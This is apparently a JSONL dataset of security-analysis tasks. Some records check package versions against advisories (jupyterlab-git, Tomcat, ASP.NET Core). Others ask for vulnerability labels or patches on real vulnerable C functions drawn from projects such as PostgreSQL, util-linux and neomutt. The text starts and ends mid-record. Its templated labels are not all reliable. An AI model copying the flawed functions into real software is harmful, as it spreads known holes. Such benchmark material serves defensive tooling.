"supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: jupyterlab-git\nInstalled version: 0.54.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"jupyterlab-git\",\n \"installed_version\": \"0.54.0\",\n \"note\": \"jupyterlab-git 0.54.0 is at or above the fixed version for GHSA-436q-jwfr-rm2h; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-770", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.tomcat.embed:tomcat-embed-core\nInstalled version: <9.0.118\nSummary: Apache Tomcat: Unbounded read in WebDAV LOCK and PROPFIND handling", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-gx5v-xp9w-j4cg\",\n \"cve\": \"CVE-2026-41284\",\n \"aliases\": [\n \"BIT-tomcat-2026-41284\",\n \"CVE-2026-41284\"\n ],\n \"cwe\": \"CWE-770\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.tomcat.embed:tomcat-embed-core\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <9.0.118\",\n \"fixed_version\": \"9.0.118\",\n \"finding\": \"Apache Tomcat: Unbounded read in WebDAV LOCK and PROPFIND handling\",\n \"remediation\": \"Upgrade org.apache.tomcat.embed:tomcat-embed-core to 9.0.118 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-703", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "bit_in(PG_FUNCTION_ARGS)\n{\n\tchar\t *input_string = PG_GETARG_CSTRING(0);\n\n#ifdef NOT_USED\n\tOid\t\t\ttypelem = PG_GETARG_OID(1);\n#endif\n\tint32\t\tatttypmod = PG_GETARG_INT32(2);\n\tVarBit\t *result;\t\t\t/* The resulting bit string\t\t\t */\n\tchar\t *sp;\t\t\t\t/* pointer into the character string */\n\tbits8\t *r;\t\t\t\t/* pointer into the result */\n\tint\t\t\tlen,\t\t\t/* Length of the whole data structure */\n\t\t\t\tbitlen,\t\t\t/* Number of bits in the bit string */\n\t\t\t\tslen;\t\t\t/* Length of the input string\t\t */\n\tbool\t\tbit_not_hex;\t/* false = hex string true = bit string */\n\tint\t\t\tbc;\n\tbits8\t\tx = 0;\n\n\t/* Check that the first character is a b or an x */\n\tif (input_string[0] == 'b' || input_string[0] == 'B')\n\t{\n\t\tbit_not_hex = true;\n\t\tsp = input_string + 1;\n\t}\n\telse if (input_string[0] == 'x' || input_string[0] == 'X')\n\t{\n\t\tbit_not_hex = false;\n\t\tsp = input_string + 1;\n\t}\n\telse\n\t{\n\t\t/*\n\t\t * Otherwise it's binary. This allows things like cast('1001' as bit)\n\t\t * to work transparently.\n\t\t */\n\t\tbit_not_hex = true;\n\t\tsp = input_string;\n\t}\n\n\tslen = strlen(sp);\n\t/* Determine bitlength from input string */\n\tif (bit_not_hex)\n\t\tbitlen = slen;\n\telse\n\t\tbitlen = slen * 4;\n\n\t/*\n\t * Sometimes atttypmod is not supplied. If it is supplied we need to make\n\t * sure that the bitstring fits.\n\t */\n\tif (atttypmod <= 0)\n\t\tatttypmod = bitlen;\n\telse if (bitlen != atttypmod)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_STRING_DATA_LENGTH_MISMATCH),\n\t\t\t\t errmsg(\"bit string length %d does not match type bit(%d)\",\n\t\t\t\t\t\tbitlen, atttypmod)));\n\n\tlen = VARBITTOTALLEN(atttypmod);\n\t/* set to 0 so that *r is always initialised and string is zero-padded */\n\tresult = (VarBit *) palloc0(len);\n\tSET_VARSIZE(result, len);\n\tVARBITLEN(result) = atttypmod;\n\n\tr = VARBITS(result);\n\tif (bit_not_hex)\n\t{\n\t\t/* Parse the bit representation of the string */\n\t\t/* We know it fits, as bitlen was compared to atttypmod */\n\t\tx = HIGHBIT;\n\t\tfor (; *sp; sp++)\n\t\t{\n\t\t\tif (*sp == '1')\n\t\t\t\t*r |= x;\n\t\t\telse if (*sp != '0')\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_INVALID_TEXT_REPRESENTATION),\n\t\t\t\t\t\t errmsg(\"\\\"%c\\\" is not a valid binary digit\",\n\t\t\t\t\t\t\t\t*sp)));\n\n\t\t\tx >>= 1;\n\t\t\tif (x == 0)\n\t\t\t{\n\t\t\t\tx = HIGHBIT;\n\t\t\t\tr++;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* Parse the hex representation of the string */\n\t\tfor (bc = 0; *sp; sp++)\n\t\t{\n\t\t\tif (*sp >= '0' && *sp <= '9')\n\t\t\t\tx = (bits8) (*sp - '0');\n\t\t\telse if (*sp >= 'A' && *sp <= 'F')\n\t\t\t\tx = (bits8) (*sp - 'A') + 10;\n\t\t\telse if (*sp >= 'a' && *sp <= 'f')\n\t\t\t\tx = (bits8) (*sp - 'a') + 10;\n\t\t\telse\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_INVALID_TEXT_REPRESENTATION),\n\t\t\t\t\t\t errmsg(\"\\\"%c\\\" is not a valid hexadecimal digit\",\n\t\t\t\t\t\t\t\t*sp)));\n\n\t\t\tif (bc)\n\t\t\t{\n\t\t\t\t*r++ |= x;\n\t\t\t\tbc = 0;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t*r = x << 4;\n\t\t\t\tbc = 1;\n\t\t\t}\n\t\t}\n\t}\n\n\tPG_RETURN_VARBIT_P(result);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-703\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"project\": \"postgres\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-476). Produce the patched version and explain the fix. Output JSON.", "input": "int avpriv_ac3_parse_header(AC3HeaderInfo **phdr, const uint8_t *buf,\n size_t size)\n{\n GetBitContext gb;\n AC3HeaderInfo *hdr;\n int err;\n\n if (!*phdr)\n *phdr = av_mallocz(sizeof(AC3HeaderInfo));\n if (!*phdr)\n return AVERROR(ENOMEM);\n hdr = *phdr;\n \n init_get_bits8(&gb, buf, size);\n err = ff_ac3_parse_header(&gb, hdr);\n if (err < 0)\n return AVERROR_INVALIDDATA;\n\n return get_bits_count(&gb);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"cve\": \"CVE-2018-13303\",\n \"fixed_code\": \"int avpriv_ac3_parse_header(AC3HeaderInfo **phdr, const uint8_t *buf,\\n size_t size)\\n{\\n GetBitContext gb;\\n AC3HeaderInfo *hdr;\\n int err;\\n\\n if (!*phdr)\\n *phdr = av_mallocz(sizeof(AC3HeaderInfo));\\n if (!*phdr)\\n return AVERROR(ENOMEM);\\n hdr = *phdr;\\n \\n err = init_get_bits8(&gb, buf, size);\\n if (err < 0)\\n return AVERROR_INVALIDDATA;\\n err = ff_ac3_parse_header(&gb, hdr);\\n if (err < 0)\\n return AVERROR_INVALIDDATA;\\n\\n return get_bits_count(&gb);\\n}\\n\",\n \"change_summary\": \"avcodec/ac3_parser: Check init_get_bits8() for failure\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void file_add_remove(struct diff_options *options,\n\t\t int addremove, unsigned mode,\n\t\t const unsigned char *sha1,\n\t\t const char *base, const char *path)\n{\n\tint diff = REV_TREE_DIFFERENT;\n\n\t/*\n\t * Is it an add of a new file? It means that the old tree\n\t * didn't have it at all, so we will turn \"REV_TREE_SAME\" ->\n\t * \"REV_TREE_NEW\", but leave any \"REV_TREE_DIFFERENT\" alone\n\t * (and if it already was \"REV_TREE_NEW\", we'll keep it\n\t * \"REV_TREE_NEW\" of course).\n\t */\n\tif (addremove == '+') {\n\t\tdiff = tree_difference;\n\t\tif (diff != REV_TREE_SAME)\n\t\t\treturn;\n\t\tdiff = REV_TREE_NEW;\n\t}\n\ttree_difference = diff;\n\tif (tree_difference == REV_TREE_DIFFERENT)\n\t\tDIFF_OPT_SET(options, HAS_CHANGES);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"git\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.AspNetCore.SpaServices\nInstalled version: 2.2.0\nSummary: Elevation of privilege in ASP.NET Core", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-xr8f-59pp-rxxh\",\n \"cve\": \"CVE-2019-1302\",\n \"aliases\": [\n \"CVE-2019-1302\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.AspNetCore.SpaServices\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=2.2.0, <2.2.7\",\n \"fixed_version\": \"2.2.7\",\n \"finding\": \"Elevation of privilege in ASP.NET Core\",\n \"remediation\": \"Upgrade Microsoft.AspNetCore.SpaServices to 2.2.7 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-77", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void print_value(int output, int num, const char *devname,\n\t\t\tconst char *value, const char *name, size_t valsz)\n{\n\tif (output & OUTPUT_VALUE_ONLY) {\n\t\tfputs(value, stdout);\n\t\tfputc('\\n', stdout);\n\n\t} else if (output & OUTPUT_UDEV_LIST) {\n\t\tprint_udev_format(name, value);\n\n\t} else if (output & OUTPUT_EXPORT_LIST) {\n\t\tif (num == 1 && devname)\n \t\t\tprintf(\"DEVNAME=%s\\n\", devname);\n \t\tfputs(name, stdout);\n \t\tfputs(\"=\", stdout);\n\t\tsafe_print(value, valsz, NULL);\n \t\tfputs(\"\\n\", stdout);\n \n \t} else {\n\t\tif (num == 1 && devname)\n\t\t\tprintf(\"%s:\", devname);\n \t\tfputs(\" \", stdout);\n \t\tfputs(name, stdout);\n \t\tfputs(\"=\\\"\", stdout);\n\t\tsafe_print(value, valsz, \"\\\"\");\n \t\tfputs(\"\\\"\", stdout);\n \t}\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-77\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-9114\",\n \"project\": \"util-linux\",\n \"vulnerable_lines\": [\n 16,\n 25\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"output\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 12\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 11,\n \"col\": 19\n },\n {\n \"token\": \"OUTPUT_EXPORT_LIST\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 39\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 11,\n \"col\": 41\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 12,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"num\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 6\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 13\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 12,\n \"col\": 15\n },\n {\n \"token\": \"devname\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 25\n },\n {\n \"token\": \"printf\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 10\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 13,\n \"col\": 11\n },\n {\n \"token\": \"DEVNAME=%s\",\n \"ast_node\": \"string_content\",\n \"line\": 13,\n \"col\": 12\n },\n {\n \"token\": \"\\\\n\",\n \"ast_node\": \"escape_sequence\",\n \"line\": 13,\n \"col\": 22\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 13,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 13,\n \"col\": 25\n },\n {\n \"token\": \"devname\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 34\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 35\n },\n {\n \"token\": \"fputs\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 8\n },\n {\n \"token\": \"name\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 9\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 14,\n \"col\": 13\n },\n {\n \"token\": \"stdout\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 22\n },\n {\n \"token\": \"fputs\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 8\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 15,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"string_content\",\n \"line\": 15,\n \"col\": 10\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 15,\n \"col\": 11\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 15,\n \"col\": 12\n },\n {\n \"token\": \"stdout\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 15,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 15,\n \"col\": 21\n },\n {\n \"token\": \"safe_print\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 12\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 13\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 16,\n \"col\": 18\n },\n {\n \"token\": \"valsz\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 16,\n \"col\": 25\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 16,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 16,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 16,\n \"col\": 32\n },\n {\n \"token\": \"fputs\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 17,\n \"col\": 8\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 17,\n \"col\": 9\n },\n {\n \"token\": \"\\\\n\",\n \"ast_node\": \"escape_sequence\",\n \"line\": 17,\n \"col\": 10\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 17,\n \"col\": 12\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 17,\n \"col\": 13\n },\n {\n \"token\": \"stdout\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 17,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 17,\n \"col\": 22\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 19,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static char *getsistring(FILE *f, uint32_t ptr, uint32_t len) {\n char *name;\n uint32_t i;\n\n if (!len) return NULL;\n if (len>400) len=400;\n name = cli_malloc(len);\n if (!name) {\n cli_dbgmsg(\"SIS: OOM\\n\");\n return NULL;\n }\n fseek(f, ptr, SEEK_SET);\n if (fread(name, len, 1, f)!=1) {\n cli_dbgmsg(\"SIS: Unable to read string\\n\");\n free(name);\n return NULL;\n }\n for (i = 0 ; i < len; i+=2) name[i/2] = name[i];\n name[i/2]='\\0';\n return name;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"clamav-devel\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int msg_parse_fetch(struct ImapHeader *h, char *s)\n{\n char tmp[SHORT_STRING];\n char *ptmp = NULL;\n\n if (!s)\n return -1;\n\n while (*s)\n {\n SKIPWS(s);\n\n if (mutt_str_strncasecmp(\"FLAGS\", s, 5) == 0)\n {\n s = msg_parse_flags(h, s);\n if (!s)\n return -1;\n }\n else if (mutt_str_strncasecmp(\"UID\", s, 3) == 0)\n {\n s += 3;\n SKIPWS(s);\n if (mutt_str_atoui(s, &h->data->uid) < 0)\n return -1;\n\n s = imap_next_word(s);\n }\n else if (mutt_str_strncasecmp(\"INTERNALDATE\", s, 12) == 0)\n {\n s += 12;\n SKIPWS(s);\n if (*s != '\\\"')\n {\n mutt_debug(1, \"bogus INTERNALDATE entry: %s\\n\", s);\n return -1;\n }\n s++;\n ptmp = tmp;\n while (*s && *s != '\\\"')\n *ptmp++ = *s++;\n if (*s != '\\\"')\n return -1;\n s++; /* skip past the trailing \" */\n *ptmp = '\\0';\n h->received = mutt_date_parse_imap(tmp);\n }\n else if (mutt_str_strncasecmp(\"RFC822.SIZE\", s, 11) == 0)\n {\n s += 11;\n SKIPWS(s);\n ptmp = tmp;\n while (isdigit((unsigned char) *s))\n *ptmp++ = *s++;\n *ptmp = '\\0';\n if (mutt_str_atol(tmp, &h->content_length) < 0)\n return -1;\n }\n else if ((mutt_str_strncasecmp(\"BODY\", s, 4) == 0) ||\n (mutt_str_strncasecmp(\"RFC822.HEADER\", s, 13) == 0))\n {\n /* handle above, in msg_fetch_header */\n return -2;\n }\n else if (*s == ')')\n s++; /* end of request */\n else if (*s)\n {\n /* got something i don't understand */\n imap_error(\"msg_parse_fetch\", s);\n return -1;\n }\n }\n\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-14358\",\n \"project\": \"neomutt\",\n \"vulnerable_lines\": [\n 39,\n 52\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"while_statement\",\n \"compound_statement\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 28,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 28,\n \"col\": 12\n },\n {\n \"token\": \"mutt_str_strncasecmp\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 28,\n \"col\": 33\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 28,\n \"col\": 34\n },\n {\n \"token\": \"INTERNALDATE\",\n \"ast_node\": \"string_content\",\n \"line\": 28,\n \"col\": 35\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 28,\n \"col\": 47\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 28,\n \"col\": 48\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 28,\n \"col\": 51\n },\n {\n \"token\": \"12\",\n \"ast_node\": \"number_literal\",\n \"line\": 28,\n \"col\": 53\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 28,\n \"col\": 55\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 28,\n \"col\": 57\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 28,\n \"col\": 60\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 28,\n \"col\": 61\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 29,\n \"col\": 4\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 6\n },\n {\n \"token\": \"+=\",\n \"ast_node\": \"+=\",\n \"line\": 30,\n \"col\": 8\n },\n {\n \"token\": \"12\",\n \"ast_node\": \"number_literal\",\n \"line\": 30,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 30,\n \"col\": 13\n },\n {\n \"token\": \"SKIPWS\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 31,\n \"col\": 12\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 13\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 31,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 31,\n \"col\": 15\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 32,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 32,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 32,\n \"col\": 10\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 11\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 32,\n \"col\": 13\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 32,\n \"col\": 16\n },\n {\n \"token\": \"\\\\\\\"\",\n \"ast_node\": \"escape_sequence\",\n \"line\": 32,\n \"col\": 17\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 32,\n \"col\": 19\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 32,\n \"col\": 20\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 33,\n \"col\": 6\n },\n {\n \"token\": \"mutt_debug\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 34,\n \"col\": 18\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 34,\n \"col\": 19\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 34,\n \"col\": 20\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 34,\n \"col\": 22\n },\n {\n \"token\": \"bogus INTERNALDATE entry: %s\",\n \"ast_node\": \"string_content\",\n \"line\": 34,\n \"col\": 23\n },\n {\n \"token\": \"\\\\n\",\n \"ast_node\": \"escape_sequence\",\n \"line\": 34,\n \"col\": 51\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 34,\n \"col\": 53\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 34,\n \"col\": 54\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 56\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 34,\n \"col\": 57\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 34,\n \"col\": 58\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 35,\n \"col\": 8\n },\n {\n \"token\": \"-1\",\n \"ast_node\": \"number_literal\",\n \"line\": 35,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 35,\n \"col\": 17\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 36,\n \"col\": 7\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 7\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 37,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 37,\n \"col\": 10\n },\n {\n \"token\": \"ptmp\",\n \"ast_node\": \"identifier\",\n \"line\": 38,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 38,\n \"col\": 12\n },\n {\n \"token\": \"tmp\",\n \"ast_node\": \"identifier\",\n \"line\": 38,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 38,\n \"col\": 17\n },\n {\n \"token\": \"while\",\n \"ast_node\": \"while\",\n \"line\": 39,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 39,\n \"col\": 12\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": " static void unset_active_map(const vpx_codec_enc_cfg_t *cfg,\n vpx_codec_ctx_t *codec) {\n vpx_active_map_t map = {0};\n \n map.rows = (cfg->g_h + 15) / 16;\n map.cols = (cfg->g_w + 15) / 16;\n map.active_map = NULL;\n\n if (vpx_codec_control(codec, VP8E_SET_ACTIVEMAP, &map))\n\n die_codec(codec, \"Failed to set active map\");\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer 